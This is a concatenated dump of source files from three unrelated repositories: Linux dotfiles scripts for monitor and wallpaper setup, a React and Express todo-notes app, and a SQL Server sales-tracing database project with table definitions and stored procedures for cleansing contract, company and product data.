rofi -show drun -m $monitorId -show-icons
<file_sep>/scripts/.local/bin/wm.displays-work
#!/usr/bin/env bash
# xrandr --output HDMI2 --pos 0x0 --mode 1920x1080 \
# --output DP1 --pos 1920x0 --mode 1920x1080 \
xrandr --output eDP1 --pos 0x0 --mode 1920x1080
xrandr --newmode 2560x1080_68.00 264.25 2560 2736 3008 3456 1080 1083 1093 1126 -hsync +vsync
xrandr --addmode HDMI2 2560x1080_68.00
xrandr --output HDMI2 --mode 2560x1080_68.00 --pos 1920x0
bspc monitor eDP1 -g 1920x1080+0+0
bspc monitor HDMI2 -g 2560x1080+1920+0
bspc monitor eDP1 -d 1 2 3 4
bspc monitor HDMI2 -d 5 6 7 8
<file_sep>/scripts/.local/bin/set-wall.sh
#!/usr/bin/env bash
wallpaper=$@
wplink=~/Pictures/current-wallpaper
feh --bg-fill $wallpaper
[ -f $wplink ] && rm $wplink
ln -s $wallpaper $wplink<file_sep>/polybar/.config/polybar/scripts/spotify/launchlistener.sh
#!/usr/bin/env sh
dn=$(readlink -f $0)
dn=$(dirname $dn)
pushd $dn
pkill -f py_spotify_listener.py
/usr/bin/env python3 ./py_spotify_listener.py &
popd<file_sep>/scripts/.local/bin/init-displays.sh
#!/bin/bash
# exit 0
vendor=$(get-edid -i -q -b 3 | xxd -s +8 -l 2 -ps)
if [[ $vendor == "05e3" ]]; then
xrandr --newmode "1720x1440_60.00" 209.75 1720 1848 2032 2344 1440 1443 1453 1493 -hsync +vsync
xrandr --addmode HDMI2 1720x1440_60.00
xrandr --addmode DP1 1720x1440_60.00
xrandr --output HDMI2 --mode 1720x1440_60.00 --pos 0x0
xrandr --output DP1 --mode 1720x1440_60.00 --pos 1720x0
xrandr --setmonitor vHDMI auto HDMI2,DP1
xrandr --output eDP1 --mode 1920x1080 --pos 3440x0
fi
<file_sep>/scripts/.local/bin/wm.wallpaper
#!/usr/bin/env bash
feh --bg-fill Pictures/current-wallpaper
| 1ceb252bf82fb68b295cf934fb88f1b88a331fc7 | [
"Text",
"Shell"
] | 17 | Shell | fwolle30/dotfiles | 783bec079e9b77225dbc31a186917d2abe3311ea | 3fc0046153b54cdb3195f79568e86eee09ded79d |
refs/heads/main | <repo_name>saurabh-147/KeepersApp<file_sep>/frontend/src/components/CreateArea.js
import React, { useState } from "react";
import { createTodo } from "./helper";
import AddIcon from "@material-ui/icons/Add";
export default function CreateArea(props) {
const [todo, setTodo] = useState({
title: "",
description: "",
});
const handleChange = (event) => {
const { name, value } = event.target;
setTodo((preValue) => {
return {
...preValue,
[name]: value,
};
});
};
const handleClick = (event) => {
event.preventDefault();
createTodo(todo).then((data) => {
if (data.error) {
console.log(data.error);
} else {
console.log("Note Created");
setTodo(() => {
return {
title: "",
description: "",
};
});
props.onAdd();
}
});
};
return (
<div>
<form>
<input
type="text"
name="title"
placeholder="Title"
value={todo.title}
onChange={handleChange}
/>
<textarea
name="description"
placeholder="Enter Anything HERE You Wish"
value={todo.description}
onChange={handleChange}
rows="3"
/>
<button onClick={handleClick}>
<AddIcon />
</button>
</form>
</div>
);
}
<file_sep>/frontend/src/components/helper.js
const { API } = require("./backend");
export const getAllTodo = () => {
return fetch(`${API}`, {
method: "GET",
})
.then((response) => {
return response.json();
})
.catch((err) => {
console.log(err);
});
};
export const createTodo = (todo) => {
return fetch(`${API}/create`, {
method: "POST",
headers: {
Accept: "application/json",
"Content-Type": "application/json",
},
body: JSON.stringify(todo),
})
.then((response) => {
return response.json();
})
.catch((err) => console.log(err));
};
export const removeTodo = (todoId) => {
return fetch(`${API}/${todoId}`, {
method: "DELETE",
headers: {
Accept: "application/json",
"Content-Type": "application/json",
},
})
.then((response) => {
return response.json();
})
.catch((err) => console.log(err));
};
export const updateTodo = (todo, todoId) => {
return fetch(`${API}/${todoId}`, {
method: "PUT",
headers: {
Accept: "application/json",
"Content-Type": "application/json",
},
body: JSON.stringify(todo),
})
.then((response) => {
return response.json();
})
.catch((error) => console.log(error));
};
export const getTodo = (todoId) => {
return fetch(`${API}/${todoId}`, {
method: "GET",
})
.then((response) => {
return response.json();
})
.catch((err) => {
console.log(err);
});
};
<file_sep>/frontend/src/components/UpdateArea.js
import React, { useState, useEffect } from "react";
import { getTodo, updateTodo } from "./helper";
import EditIcon from "@material-ui/icons/Edit";
export default function UpdateArea(props) {
//use for updating todo
const [todo, setTodo] = useState({
title: "",
description: "",
});
// const preload = () => {};
useEffect(() => {
getTodo(props.id).then((data) => {
setTodo(data);
});
}, []);
const handleChange = (event) => {
const { name, value } = event.target;
setTodo(() => {
return {
...todo,
[name]: value,
};
});
};
const handleClick = (event) => {
event.preventDefault();
updateTodo(todo, props.id).then((data) => {
if (data.error) {
console.log(data.error);
} else {
console.log("Note Updated");
props.onUpdation(props.id);
props.onUpdate();
}
});
};
return (
<div>
<form>
<input
onChange={handleChange}
type="text"
name="title"
value={todo.title}
/>
<textarea
onChange={handleChange}
name="description"
value={todo.description}
/>
<button onClick={handleClick}>
<EditIcon />
</button>
</form>
</div>
);
}
<file_sep>/Backend/controllers/todo.js
const Todo = require("../models/todo");
const _ = require("lodash");
exports.getTodoById = (req, res, next, id) => {
Todo.findById(id).exec((err, foundTodo) => {
if (err) {
return res.status(400).json({
error: "Todo Not Found",
});
}
req.todo = foundTodo;
next();
});
};
exports.getAllTodo = (req, res) => {
Todo.find({})
.sort({ createdAt: -1 })
.exec((err, todos) => {
if (err) {
return res.status(400).json({
error: "No Todos Found",
});
}
console.log(todos);
return res.json(todos);
});
};
exports.createTodo = (req, res) => {
const newTodo = new Todo(req.body);
// console.log(newTodo);
newTodo.save((err, todo) => {
if (err) {
return res.status(400).json({
error: "Not able to save todo in the list",
});
}
res.json(todo);
});
};
exports.getTodo = (req, res) => {
return res.json(req.todo);
};
//update Route
exports.updateTodo = (req, res) => {
Todo.findById({ _id: req.todo._id }).exec((err, todo) => {
// console.log(todo);
if (err) {
return res.status(400).json({
error: "No todo found",
});
}
todo = _.extend(todo, req.body);
todo.save((err, todo) => {
if (err) {
return res.status(400).json({
error: "Not able to update",
});
}
res.json(todo);
});
});
};
//Delete route
exports.removeTodo = (req, res) => {
Todo.remove({ _id: req.todo._id }).exec((err, todo) => {
if (err) {
return res.status(400).json({
error: "Not able to remove the item",
});
}
const { title, description } = todo;
res.json({
title: title,
description: description,
});
});
};
<file_sep>/frontend/src/components/App.js
import React, { useState, useEffect } from "react";
import Header from "./Header";
import Footer from "./Footer";
import Note from "./Note";
import { getAllTodo } from "./helper";
import CreateArea from "./CreateArea";
import UpdateArea from "./UpdateArea";
export default function App() {
const [todos, setTodos] = useState([]);
const [flag, setflag] = useState(0);
const [updateFlag, setUpdateFlag] = useState(0);
const [updateId, setUpdateId] = useState(0);
const preload = () => {
getAllTodo().then((data) => {
if (data.error) {
console.log(data.error);
} else {
setTodos(data);
}
});
};
useEffect(() => {
preload();
}, [flag]);
const reRenderPage = () => {
setflag(1 - flag);
};
const handleUpdate = (id) => {
setUpdateId(id);
setUpdateFlag(1 - updateFlag);
};
return (
<div>
<Header />
{updateFlag ? (
<UpdateArea
key={updateId}
id={updateId}
onUpdate={reRenderPage}
onUpdation={handleUpdate}
/>
) : (
<CreateArea onAdd={reRenderPage} />
)}
{todos.map((todo, index) => {
return (
<Note
key={todo._id}
id={todo._id}
title={todo.title}
content={todo.description}
onDelete={reRenderPage}
onUpdate={handleUpdate}
/>
);
})}
<Footer />
</div>
);
}
| 07d621246635a675d87b4d4335e2bc8654f439d9 | [
"JavaScript"
] | 5 | JavaScript | saurabh-147/KeepersApp | 3b9348605174ac2cc54a822703639f8daaa43854 | baded1ae94d2a116a2418de206169e89d310c88c |
refs/heads/master | <repo_name>UcgajjarPDI/Nicepak-PIMS<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/TRC_ENDUSER_1.sql
CREATE TABLE [STAGE].[TRC_ENDUSER_1] (
[TRC_ENDUSER_1_ID] INT IDENTITY (1, 1) NOT NULL,
[DISTCOID] VARCHAR (20) NULL,
[DISTID] VARCHAR (8) NULL,
[DISTACCTID] VARCHAR (20) NULL,
[DISTACCTSHIPNAME] VARCHAR (50) NULL,
[DISTACCTSHIPADDR1] VARCHAR (50) NULL,
[DISTACCTSHIPADDR2] VARCHAR (50) NULL,
[DISTACCTSHIPCITY] VARCHAR (50) NULL,
[DISTACCTSHIPSTATE] VARCHAR (2) NULL,
[DISTACCTSHIPZIP] VARCHAR (10) NULL,
[COACCTID] VARCHAR (20) NULL,
[COACCTMAX] VARCHAR (20) NULL,
[SALES_SUM] NUMERIC (38, 2) NULL,
[ISSUE] VARCHAR (40) NULL,
[UPD_CITY] VARCHAR (50) NULL,
[Cleanse_Flag] CHAR (1) NULL,
[UPD_ADDR1] VARCHAR (250) NULL,
[UPD_ADDR2] VARCHAR (250) NULL,
[COACCTSHIPNAME] VARCHAR (100) NULL,
[COACCTSHIPADDR1] VARCHAR (100) NULL,
[COACCTSHIPADDR2] VARCHAR (50) NULL,
[COACCTSHIPADDR3] VARCHAR (50) NULL,
[COACCTSHIPCITY] VARCHAR (50) NULL,
[COACCTSHIPSTATE] VARCHAR (2) NULL,
[COACCTSHIPZIP] VARCHAR (10) NULL,
[COMPANY_ID] INT NULL,
[Match_by_Addr] SMALLINT NULL,
[Match_by_MAX] SMALLINT NULL,
[Match_by_DQS_NM] SMALLINT NULL,
[Match_by_DQS_Addr] SMALLINT NULL,
[COMPANY_ID_MAX] INT NULL,
[PREMISE] INT NULL,
[PREFIX] VARCHAR (12) NULL,
[STRT_NM_PRT_1] VARCHAR (100) NULL,
[RDWY] VARCHAR (50) NULL,
[SUFFIX] VARCHAR (12) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CMPNY/Tables/ALT_CMPNY_NM.sql
CREATE TABLE [CMPNY].[ALT_CMPNY_NM] (
[ALT_CMPNY_NM_ID] SMALLINT IDENTITY (1, 1) NOT NULL,
[CMPNY_ID] INT NOT NULL,
[SRCE_CMPNY_ID] VARCHAR (40) NULL,
[ALT_CMPNY_NM] VARCHAR (255) NOT NULL,
[REC_EFF_DT] DATE NULL,
[REC_EXP_DT] DATE NULL,
[REC_STAT_IN] CHAR (1) NULL,
[CURRENT TIMESTAMP] ROWVERSION NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/Security/pdistdev.sql
CREATE USER [pdistdev] FOR LOGIN [pdistdev];
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spDHC_NAME_CLEANSE.sql
CREATE PROCEDURE [STAGE].[spDHC_NAME_CLEANSE]
WITH EXEC AS CALLER
AS
BEGIN
UPDATE STAGE.DHC_COMPANY SET DHC_CO_NM_1 = ORIG_NM;
-- REMOVE (ST) from names, susch 'Mercy (FL)' to 'Mercy'
UPDATE STAGE.DHC_COMPANY
SET DHC_CO_NM_1 = dbo.fnRemoveSpace(REPLACE(DHC_CO_NM_1, '('+DHC_CO_ST+')' ,''))
WHERE DHC_CO_NM_1 like '%('+DHC_CO_ST+')%' ;
UPDATE STAGE.DHC_COMPANY
SET
DHC_CO_NM_1 = CASE
WHEN CHARINDEX('(aka', DHC_CO_NM_1) > 0 THEN
LEFT(DHC_CO_NM_1,CHARINDEX('(aka', DHC_CO_NM_1)-2)
WHEN CHARINDEX('(fka', DHC_CO_NM_1) > 0 THEN
LEFT(DHC_CO_NM_1,CHARINDEX('(fka', DHC_CO_NM_1)-2)
ELSE DHC_CO_NM_1 END,
DHC_CO_NM_2 = CASE
WHEN CHARINDEX('(aka', DHC_CO_NM_1) > 0 THEN
SUBSTRING(DHC_CO_NM_1,CHARINDEX('(aka', DHC_CO_NM_1)+5,LEN(DHC_CO_NM_1)-CHARINDEX('(aka', DHC_CO_NM_1)-5)
WHEN CHARINDEX('(fka', DHC_CO_NM_1) > 0 THEN
SUBSTRING(DHC_CO_NM_1,CHARINDEX('(fka', DHC_CO_NM_1)+5,LEN(DHC_CO_NM_1)-CHARINDEX('(fka', DHC_CO_NM_1)-5)
ELSE NULL END,
DHC_CO_NM_2_TYP = CASE
WHEN CHARINDEX('(aka', DHC_CO_NM_1) > 0 THEN 'AKA'
WHEN CHARINDEX('(fka', DHC_CO_NM_1) > 0 THEN 'FKA'
ELSE NULL END
WHERE DHC_CO_NM_1 LIKE '%(aka%' OR DHC_CO_NM_1 LIKE '%(fka%'
AND DHC_CO_NM_2 IS NULL;
UPDATE STAGE.DHC_COMPANY
SET
DHC_STAT = CASE WHEN CHARINDEX('(Closed', DHC_CO_NM_1) > 0 THEN 'Closed' ELSE NULL END,
DHC_CO_NM_1 = LEFT(DHC_CO_NM_1,CHARINDEX('(', DHC_CO_NM_1)-2)
WHERE
(DHC_CO_NM_1 LIKE '%(closed%' OR
DHC_CO_NM_1 LIKE '%(Opening%' OR
DHC_CO_NM_1 LIKE '%(Closing%')
AND DHC_CO_NM_2 IS NULL;
-- This will fix Acquired by, to retain both names
UPDATE STAGE.DHC_COMPANY
SET
DHC_CO_NM_1 = LEFT(DHC_CO_NM_1,CHARINDEX('(', DHC_CO_NM_1)-2),
DHC_CO_NM_2 = SUBSTRING(DHC_CO_NM_1,CHARINDEX('Acquired by', DHC_CO_NM_1)+11,LEN(DHC_CO_NM_1)-CHARINDEX('Acquired by', DHC_CO_NM_1)-11) ,
DHC_CO_NM_2_TYP = 'Acquired'
WHERE
DHC_CO_NM_1 LIKE '%Acquired by%'
AND DHC_CO_NM_2 IS NULL;
-- This will fix Merged with, to retain both names
UPDATE STAGE.DHC_COMPANY
SET
DHC_CO_NM_1 = dbo.fnInit(LEFT(DHC_CO_NM_1,CHARINDEX('(', DHC_CO_NM_1)-2)),
DHC_CO_NM_2 = dbo.fnInit(SUBSTRING(DHC_CO_NM_1,CHARINDEX('Merged with', DHC_CO_NM_1)+11,LEN(DHC_CO_NM_1)-CHARINDEX('Merged with', DHC_CO_NM_1)-11) ),
DHC_CO_NM_2_TYP = 'Merged'
WHERE
DHC_CO_NM_1 LIKE '%Merged with%'
AND DHC_CO_NM_2 IS NULL;
-- This will get rid of the (Closed - no longer . .
UPDATE STAGE.DHC_COMPANY
SET
DHC_CO_NM_1 = dbo.fnInit(LEFT(DHC_CO_NM_1,CHARINDEX('(', DHC_CO_NM_1)-2)),
DHC_CO_NM_2_TYP = 'Closed'
WHERE
CHARINDEX('(Closed', DHC_CO_NM_1) > 0
AND DHC_CO_NM_2 IS NULL;
-- Cleanse issue ith VA
UPDATE STAGE.DHC_COMPANY
SET
DHC_CO_NM_2_TYP = CASE WHEN CHARINDEX('VA ', DHC_CO_NM_1) > 0 THEN 'VA Affiliate' ELSE NULL END,
DHC_CO_NM_1 = LEFT(DHC_CO_NM_1,CHARINDEX('(', DHC_CO_NM_1)-2),
DHC_CO_NM_2 = SUBSTRING(DHC_CO_NM_1,CHARINDEX('(', DHC_CO_NM_1)+1,LEN(DHC_CO_NM_1)-CHARINDEX('(', DHC_CO_NM_1)-1)
WHERE DHC_CO_NM_1 LIKE '%(%'
AND DHC_CO_NM_2 IS NULL;
END;<file_sep>/PDI_SALESTRACING_DEV/FTPOUT/Tables/CompanyItemsImport.sql
CREATE TABLE [FTPOUT].[CompanyItemsImport] (
[ITEM_NO] VARCHAR (30) NOT NULL,
[SELL_UOM] CHAR (4) NULL,
[ITEM_DESCRIPTION] VARCHAR (50) NULL,
[EXTRA_ITEM_DESCRIPTION] VARCHAR (50) NULL,
[MARKETING_CATEGORY] VARCHAR (50) NOT NULL,
[PRODUCT_FAMILY] VARCHAR (50) NOT NULL,
[SALES_TEAM] VARCHAR (50) NULL,
[SALES_TYPE] VARCHAR (20) NULL,
[NEW_PRODUCT_INDICATOR_Y_N] CHAR (1) NULL,
[DIVISION_ID] CHAR (4) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/TRC/Stored Procedures/spLOAD_PROD_CORR_XREF.sql
CREATE PROCEDURE [TRC].[spLOAD_PROD_CORR_XREF]
WITH EXEC AS CALLER
AS
BEGIN
BEGIN
MERGE [STAGE].[TRC_PROD_CORR_XREF] T
USING (
SELECT
DISTINCT I.DISTCOID, I.DISTID, I.DISTITEMID, D.COITEMID
FROM
STAGE.DDS_PDI_SAF_EXTRACT D
JOIN (
SELECT S.DISTCOID, S.DISTID, S.DISTITEMID, MAX(S.DISTINVOICEDATE ) AS INVDTE
FROM PDI_SALESTRACING_DEV.STAGE.DDS_PDI_SAF_EXTRACT S
WHERE LTRIM(RTRIM(COITEMID)) <> LTRIM(RTRIM(DISTITEMID))
GROUP BY S.DISTCOID, S.DISTID, S.DISTITEMID) I
ON D.DISTCOID = I.DISTCOID AND I.DISTITEMID = D.DISTITEMID AND I.INVDTE = D.DISTINVOICEDATE
) S ON T.DIST_NR = S.DISTCOID AND T.TRC_PROD_ID = S.DISTITEMID
WHEN NOT MATCHED BY TARGET THEN -- That means it is a new Contract
INSERT
(DIST_NR, DIST_ID, TRC_PROD_ID, UPD_PROD_ID)
VALUES
( DISTCOID, DISTID, DISTITEMID, COITEMID);
END
-- Remove valid product ID - Not sure why those were corrected
-- Need verification
DELETE FROM STAGE.TRC_PROD_CORR_XREF
WHERE TRC_PROD_ID IN (SELECT DISTINCT PRODUCT_ID FROM PDI_SALESTRACING_DEV.STAGE.DIM_PRODUCT)
-- 'H59200';
END<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/DIM_TERRITORY.sql
CREATE TABLE [STAGE].[DIM_TERRITORY] (
[RECORD_KEY] INT IDENTITY (-1, 1) NOT NULL,
[TERRITORY_KEY] INT NOT NULL,
[TERRITORY_ID] NCHAR (10) NOT NULL,
[TERRITORY_TYPE] NCHAR (10) NOT NULL,
[COMPANY_ID] NCHAR (4) NOT NULL,
[DIVISION] NCHAR (4) NOT NULL,
[TERRITORY_NAME] VARCHAR (50) NOT NULL,
[TERRITORY_SHORT_NAME] NCHAR (10) NULL,
[TSM_ID] VARCHAR (20) NOT NULL,
[TSM_NAME] VARCHAR (50) NOT NULL,
[TSM_ADDRESS] VARCHAR (255) NULL,
[TSM_CITY] VARCHAR (50) NULL,
[TSM_STATE] NCHAR (4) NULL,
[TSM_ZIP] NCHAR (10) NULL,
[TSM_COUNTRY] VARCHAR (20) NULL,
[TSM_PHONE] VARCHAR (15) NULL,
[TSM_EMAIL] VARCHAR (50) NULL,
[REGION_NAME] VARCHAR (50) NOT NULL,
[REGION_SHORT_NAME] NCHAR (10) NULL,
[RD_ID] VARCHAR (20) NOT NULL,
[RD_NAME] VARCHAR (50) NOT NULL,
[RD_EMAIL] VARCHAR (50) NULL,
[CURRENT_INDICATOR_YN] NCHAR (10) NOT NULL,
[EFF_DATE] DATE NOT NULL,
[EXP_DATE] DATE NOT NULL,
[RD_EFF_DATE] DATE NULL,
[RD_EXP_DATE] DATE NULL,
[BURST_RD] NVARCHAR (MAX) NULL,
[BURST_TSM] NVARCHAR (MAX) NULL,
[ETL_AUDIT_KEY] AS (checksum([TERRITORY_KEY],[TERRITORY_ID],[TSM_NAME])),
[CURRENT TIMESTAMP] DATETIME DEFAULT (getdate()) NOT NULL,
CONSTRAINT [PK_STAGE_DIM_TERRITORY_1] PRIMARY KEY CLUSTERED ([RECORD_KEY] ASC) WITH (FILLFACTOR = 100)
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/TEMP_NEW_CONT.sql
CREATE TABLE [STAGE].[TEMP_NEW_CONT] (
[CNT_NR] VARCHAR (20) NOT NULL,
[SRC_REC_LST_MOD_DT] BIGINT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/EDI_TRDNG_PRTNRS.sql
CREATE TABLE [STAGE].[EDI_TRDNG_PRTNRS] (
[EDI_TRDNG_PRTNRS_ID_PK] INT NOT NULL,
[EDI_ID] SMALLINT NULL,
[TP_PDI_ID] VARCHAR (20) NOT NULL,
[TP_EDI_ID] VARCHAR (40) NOT NULL,
[TP_NM] VARCHAR (100) NOT NULL,
[DATA_XCHNG_TYP] CHAR (4) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/PCM/Tables/PCM_WFL_ROLE_TASK.sql
CREATE TABLE [PCM].[PCM_WFL_ROLE_TASK] (
[WFL_TASK_ROLE_ID] INT NULL,
[WFL_ID_FK] INT NULL,
[WFL_NM] VARCHAR (24) NULL,
[ROLE_ID_FK] INT NULL,
[ROLE] VARCHAR (24) NULL,
[TASK_ID_FK] INT NULL,
[TASK_NM] VARCHAR (24) NULL,
[ACTIVE_IN] CHAR (1) NULL,
[CREAT_TS] DATETIME NULL,
[LAST_MOD_TS] DATETIME NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/CMS_DATALOAD.sql
CREATE TABLE [STAGE].[CMS_DATALOAD] (
[NPI] INT NULL,
[Entity Type Code] NVARCHAR (50) NULL,
[Replacement NPI] NVARCHAR (50) NULL,
[Employer Identification Number (EIN)] NVARCHAR (50) NULL,
[Provider Organization Name (Legal Business Name)] NVARCHAR (76) NULL,
[Provider Last Name (Legal Name)] NVARCHAR (50) NULL,
[Provider First Name] NVARCHAR (50) NULL,
[Provider Middle Name] NVARCHAR (50) NULL,
[Provider Credential Text] NVARCHAR (50) NULL,
[Provider Other Organization Name] NVARCHAR (85) NULL,
[Provider Other Organization Name Type Code] NVARCHAR (50) NULL,
[Provider First Line Business Mailing Address] NVARCHAR (60) NULL,
[Provider Second Line Business Mailing Address] NVARCHAR (67) NULL,
[Provider Business Mailing Address City Name] NVARCHAR (50) NULL,
[Provider Business Mailing Address State Name] NVARCHAR (50) NULL,
[Provider Business Mailing Address Postal Code] NVARCHAR (50) NULL,
[Provider Business Mailing Address Country Code (If outside U.S.)] NVARCHAR (50) NULL,
[Provider First Line Business Practice Location Address] NVARCHAR (60) NULL,
[Provider Second Line Business Practice Location Address] NVARCHAR (67) NULL,
[Provider Business Practice Location Address City Name] NVARCHAR (50) NULL,
[Provider Business Practice Location Address State Name] NVARCHAR (50) NULL,
[Provider Business Practice Location Address Postal Code] NVARCHAR (50) NULL,
[Provider Business Practice Location Address Country Code (If outside U.S.)] NVARCHAR (50) NULL,
[Last Update Date] NVARCHAR (50) NULL,
[NPI Deactivation Reason Code] NVARCHAR (50) NULL,
[NPI Deactivation Date] NVARCHAR (50) NULL,
[NPI Reactivation Date] NVARCHAR (50) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/zip_code_v2.sql
CREATE TABLE [STG0].[zip_code_v2] (
[ZipCode] VARCHAR (10) NULL,
[City] NVARCHAR (50) NULL,
[State] NVARCHAR (50) NULL,
[Latitude] DECIMAL (28, 10) NULL,
[Longitude] DECIMAL (28, 10) NULL,
[Classification] NVARCHAR (50) NULL,
[Population] INT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/RELATIONSHIP.sql
CREATE TABLE [STAGE].[RELATIONSHIP] (
[COMPANYID] FLOAT (53) NULL,
[PARENTCOMPANYID] FLOAT (53) NULL,
[RELATIONSHIPTYPE] VARCHAR (MAX) NULL,
[PARENTIDNCOUNT] FLOAT (53) NULL,
[DISTANCETOCHILD] FLOAT (53) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/TRC/Tables/SALES_PERIOD_ADMIN.sql
CREATE TABLE [TRC].[SALES_PERIOD_ADMIN] (
[SLS_PERIOD_TYP] VARCHAR (20) NULL,
[SLS_PERIOD] VARCHAR (10) NULL,
[EFF_DT] DATE NULL,
[SLS_PERIOD_DSPLY_NM] VARCHAR (20) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spFINALIZE_CONTRACT.sql
CREATE PROCEDURE CNT.spFINALIZE_CONTRACT
@name varchar(7)
AS
BEGIN
SET NOCOUNT ON;
UPDATE [CNT_DEV].[CONTRACT] SET CNT_STAT_CD='A' WHERE CNT_NR =@name
END
--SELECT * FROM [CNT_DEV].[CONTRACT] WHERE CNT_NR='CNT6028'
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/TEMP_MCKESSON_10K.sql
CREATE TABLE [STAGE].[TEMP_MCKESSON_10K] (
[Sender ID] VARCHAR (20) NOT NULL,
[Receiver ID] VARCHAR (20) NULL,
[Notification Purpose Code] VARCHAR (10) NOT NULL,
[Notification Date] DECIMAL (8) NOT NULL,
[MF Contract Number] VARCHAR (7) NOT NULL,
[Contract Status Code] CHAR (2) NULL,
[Buyer Group Contract Number] VARCHAR (7) NOT NULL,
[MF Contract Name] VARCHAR (22) NOT NULL,
[Previous Contract Number] VARCHAR (20) NULL,
[Contract Effective Date] INT NOT NULL,
[Contract Expiration Date] INT NOT NULL,
[Replaced Contract Expiration Date] INT NULL,
[Contract Tier Number] INT NOT NULL,
[Buyer Group Name] VARCHAR (8) NOT NULL,
[Eligible Buyer Name] VARCHAR (150) NULL,
[Manufacturer Name] VARCHAR (60) NULL,
[Buyer Group HIN] VARCHAR (9) NOT NULL,
[Manufacturer HIN] VARCHAR (60) NULL,
[Eligible Buyer Account Number] VARCHAR (60) NULL,
[Eligible Buyer GPO Account Number] VARCHAR (60) NULL,
[Eligible Buyer Address 1] VARCHAR (150) NULL,
[Eligible Buyer Address 2] VARCHAR (150) NULL,
[Eligible Buyer City] VARCHAR (100) NULL,
[Eligible Buyer State] VARCHAR (50) NULL,
[Eligible Buyer Zip] VARCHAR (20) NULL,
[Eligible Buyer Country Code] VARCHAR (50) NULL,
[Update Reason Code] VARCHAR (10) NULL,
[Eligible Buyer Effective Date] INT NULL,
[Eligible Buyer Expiration Date] INT NULL,
[Item Update Type Code] VARCHAR (10) NULL,
[Item Description] VARCHAR (50) NULL,
[Manufacturers Item ID] VARCHAR (20) NULL,
[Contract Unit Price] DECIMAL (18, 2) NULL,
[Quantity Information] INT NULL,
[Unit of Measure] CHAR (2) NULL,
[Product Effective Date] INT NULL,
[Product Expiration Date] INT NULL,
[Orig Contract Expiration Date] INT NULL,
[Manufacturer GLN] VARCHAR (12) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/TRC/Stored Procedures/spGET_DATA_OBJECTS.sql
CREATE PROCEDURE [TRC].[spGET_DATA_OBJECTS]
WITH EXEC AS CALLER
AS
BEGIN
-- ALL DATA OBJECTS
SELECT
SCHEMA_NAME(O.schema_id) as SCHEMA_NM,
CASE WHEN O.type='U' THEN 'TABLE' WHEN O.type='P' THEN 'STROED PROC' WHEN O.type='FN' THEN 'FUNCTION' END AS OBJ_TYPE,
O.name AS OBJ_NM
FROM [PDI_SALESTRACING_DEV].sys.objects O
WHERE O.type in ( 'U','P','FN') AND
SCHEMA_NAME(O.schema_id) NOT IN ('dbo')
ORDER BY 1, 2, 3
-- DEPDENCIES
SELECT ReferencingObjectType = CASE WHEN o1.type='U' THEN 'TABLE' WHEN o1.type='P' THEN 'STROED PROC' WHEN o1.type='FN' THEN 'FUNCTION' END,
ReferencingObject = SCHEMA_NAME(o1.schema_id)+'.'+o1.name,
ReferencedObject = SCHEMA_NAME(o2.schema_id)+'.'+ed.referenced_entity_name,
ReferencedObjectType = CASE WHEN o2.type='U' THEN 'TABLE' WHEN o2.type='P' THEN 'STROED PROC' WHEN o2.type='FN' THEN 'FUNCTION' END
FROM [PDI_SALESTRACING_DEV].sys.sql_expression_dependencies ed
INNER JOIN [PDI_SALESTRACING_DEV].sys.objects o1
ON ed.referencing_id = o1.object_id
INNER JOIN [PDI_SALESTRACING_DEV].sys.objects o2
ON ed.referenced_id = o2.object_id
WHERE o1.type in ('P','TR','V', 'TF')
ORDER BY ReferencingObjectType, ReferencingObject
END<file_sep>/PDI_SALESTRACING_DEV/TRC/Stored Procedures/spTRC_GET_ERR_EXC_CONTRACTS.sql
CREATE PROCEDURE [TRC].[spTRC_GET_ERR_EXC_CONTRACTS] @vSales_Period VARCHAR(10) = NULL,
@vDIST_ID VARCHAR(20) = NULL,
@contractId VARCHAR(20) = NULL,
@buyersNm VARCHAR(100) = NULL
AS
BEGIN
SELECT DISTINCT
X.TRC_CNT_ID AS UPD_CNT_ID
FROM STAGE.TRC_CNT_CORR_XREF X
JOIN CNT.[CONTRACT] C ON X.TRC_CNT_ID = C.CNT_NR
AND C.REC_STAT_CD = 'A'
WHERE RECON_STAT_CD = 'P'
AND RECON_TYP = 'EXC'
AND C.BUYER_GRP_NM = ISNULL(@buyersNm, C.BUYER_GRP_NM)
AND X.TRC_CNT_ID = ISNULL(@contractId, X.TRC_CNT_ID)
ORDER BY X.TRC_CNT_ID DESC;
END;<file_sep>/PDI_SALESTRACING_DEV/dbo/Stored Procedures/IDNFAMILYTREEusp.sql
CREATE PROCEDURE IDNFAMILYTREEusp
AS
BEGIN
SELECT B.SRC_CMPNY_ID,B.CMPNY_ID,A.CMPNY_NM,B.IDN_PRNT_SRC_ID,B.IDN_SRC_ID FROM [CMPNY].[COMPANY] A
JOIN [CMPNY].[COMPANY] B ON A.IDN_CMPNY_ID=B.IDN_CMPNY_ID
WHERE A.CMPNY_NM LIKE '%Long Island Jewish Home Care%'
END<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/PDI_MAX_TO_DEFHC_CROSSWALK.sql
CREATE TABLE [STG0].[PDI_MAX_TO_DEFHC_CROSSWALK] (
[HOSPITAL_ID] VARCHAR (MAX) NULL,
[FIRM_TYPE] VARCHAR (MAX) NULL,
[COMPANY_ID] VARCHAR (MAX) NULL,
[CURRENT_TIMESTAMP] DATETIME DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spNAD_LAUNDRY_LITE.sql
CREATE PROCEDURE [STAGE].[spNAD_LAUNDRY_LITE]
WITH EXEC AS CALLER
AS
BEGIN
-- If both Addr1 and Addr2 is same then delete Addr2
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET ADDR2 = NULL
WHERE ADDR1 = ADDR2;
